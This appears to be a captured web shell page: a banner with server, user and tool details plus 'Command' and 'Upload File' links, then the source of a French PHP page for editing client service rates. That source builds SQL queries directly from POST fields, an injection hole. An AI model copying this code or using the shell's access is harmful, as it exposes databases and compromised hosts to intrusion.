|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/MCPRO/fpdf/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
print_header();
// echo "test <br/>" ;
// exit() ;
if(!empty($_POST))
{
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$presta_forfait = $_POST['presta_forfait'] ;
$presta_id = $_POST['presta_id'] ;
// exit() ;
dbi_query("UPDATE prestation
SET presta_forfait = $presta_forfait
WHERE presta_id = $presta_id; ") ;
}
$sem = array ('Dimanche', 'Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi') ;
?>
<div id="tab" >
<TABLE width="95%" border="1px">
<thead>
<TR>
<th >Nom Client</th>
<th>jour prestation </th>
<th> l'heure de début </th>
<th>l'heure de fin </th>
<th > nom du salarié </th>
<th > taux horaire </th>
<th > taux horaire ch </th>
<th > Action </th>
</TR>
</thead>
<tbody>
<?php
// reqet des avoire
$today = date("Ymd");
// SELECT * FROM prestation WHERE presta_date_fin IS NULL
// SELECT * FROM prestation p WHERE p.agence_id=47 AND ( p.presta_date_fin is null OR p.presta_date_fin >= 20160419 ) OR EXISTS( SELECT * FROM presta_modif pm WHERE p.presta_id = pm.presta_id )
$q = dbi_query("SELECT * FROM prestation p , client c
WHERE p.agence_id= 47 AND p.`client_id` = c.`client_id`
AND ( (
p.presta_date_fin is null
OR p.presta_date_fin >= $today
)
AND $today > p.presta_date_debut
)ORDER BY c.client_nom") ;
// AND presta_forfait = 0
// $q=dbi_query("SELECT * FROM prestation p, client c WHERE ( presta_date_fin IS NULL OR presta_date_fin >20160418 ) AND ( p.agence_id =47 AND p.`client_id` = c.`client_id` )ORDER BY c.client_nom ") ;
// $avoirJanvier = 0 ; $avoirFevrier = 0 ; $avoirMars = 0 ; $avoirAvril = 0 ; $avoirMai = 0 ; $avoirJuin = 0 ; $avoirjuillet = 0 ; $avoirAout = 0 ; $avoirSeptember = 0 ; $avoirOctober = 0 ; $avoirNovember = 0 ; $avoirDecember= 0 ;
// $i=0 ;
$jour = date('w') ;
$time = time() ;
while($jour != 0)
{
$jour = ++$jour %7 ;
$time += 24*3600 ;
}
$date = time2int($time) ;
while($aa=dbi_fetch_row($q))
{
// $i = $i + 1 ;
// echo "$i" ;
// list($ID )= dbi_fetch_row(dbi_query("SELECT ID FROM `fact_chantier` WHERE `Chantier_ID` = ".$aa['chantier_id'])) ;
list($chant,$Chantier_tauxhoraire , $ID) =dbi_fetch_row(dbi_query("SELECT Chantier_forfaitmensuel ,Chantier_tauxhoraire , ID FROM chantier c, fact_chantier fc WHERE Chantier_tauxhoraire != 0 AND agence_id=".$agence." AND client_id=".$aa['client_id']." AND c.Chantier_ID=fc.Chantier_ID AND (Chantier_fin = 0 OR Chantier_fin >=$today )ORDER BY fc.Chantier_designation "));
$client_id = $aa['client_id'] ;
$chantt=dbi_fetch_row(dbi_query("SELECT * FROM chantier c, fact_chantier fc WHERE agence_id=".$agence." AND client_id=".$client_id." AND c.Chantier_ID=fc.Chantier_ID AND (Chantier_fin = 0 OR Chantier_fin >=$today )ORDER BY fc.Chantier_designation "));
// list($nom,$prenom)= dbi_fetch_row(dbi_query(" SELECT client_nom, client_nom FROM client WHERE client_id = ".$aa['client_id'])) ;
// echo "$ID --$chant <br/> " ;
list($nomS,$prenomS)= dbi_fetch_row(dbi_query(" SELECT inter_nom, inter_pnom FROM intervenant WHERE inter_id = ".$aa['inter_id'])) ;
// $marge2=dbi_query("SELECT * FROM marge WHERE client_id=".$aa['client_id']." and chantier_id= ".$chantt['ID']);
// $SMA=0;
// $SDA=0;
// $taux =0;
// while ($M2 = dbi_fetch_row($marge2)) {
// $SMA += $M2['mont_ann'];
// $SDA += $M2['duree_ann'];
// }
// echo " <br/>".$c['Chantier_forfaitmensuel'].' ? '." $SMA / $SDA ";
// if($SDA>0)
// $taux = (($chantt['Chantier_forfaitmensuel']*12)-($SMA)) / $SDA;
// echo "--".$chant;
$data = array('jour' => $prest['presta_jour'], 'deb' => $prest['presta_Hdeb'], 'duree' => $prest['presta_Hduree'], 'inter' => $prest['inter_id'], 'taux' => $prest['presta_forfait']) ;
$q1 = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$aa['presta_id']." order by `start`, `date`") ;
while (($m = dbi_fetch_row($q1)) && $date >= $m['start'])
{
$data['jour'] = $m['jour'] === NULL ? $data['jour'] : $m['jour'] ;
$data['deb'] = $m['Hdeb'] === NULL ? $data['deb'] : $m['Hdeb'] ;
$data['duree'] = $m['Hduree'] === NULL ? $data['duree'] : $m['Hduree'] ;
$data['inter'] = $m['inter_id'] === NULL ? $data['inter'] : $m['inter_id'] ;
$data['taux'] = $m['taux'] === NULL ? $data['taux'] : $m['taux'] ;
}
$inter = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_INTERV." WHERE inter_id = '".$data['inter']."' AND agence_id = $agence")) ;
if(!empty($inter))
{
$nomS= $inter['inter_nom'] ;
$prenomS = $inter['inter_pnom'] ;
}
list($too)=dbi_fetch_row(dbi_query("select taux from OOO where client_id = ".$aa['client_id'])) ;
?>
<TR>
<form action="" method="POST">
<td ><?=$aa['client_nom']." ".$aa['client_pnom']?></td>
<td> <?= $sem[strpos($aa['presta_jour'], 'y')]?> </td>
<td > <?=int2heure($aa['presta_Hdeb'])?> </td>
<td><?=int2heure(addDuree($aa['presta_Hdeb'], $aa['presta_Hduree'])) ?> </td>
<td ><?=$nomS." ".$prenomS?></td>
<td > <input name="presta_forfait" value="<?=$aa['presta_forfait']?>" ></td>
<td > <?= number_format($Chantier_tauxhoraire, 2, ",", " ")?> </td>
<td > <input type="submit" name="valider" value="Valider" > </td>
<input type="hidden" name="presta_id" value="<?=$aa['presta_id']?>" >
</form>
</TR>
<?
}
?>
<div id="tab" >
</div>
</div>
</body></html>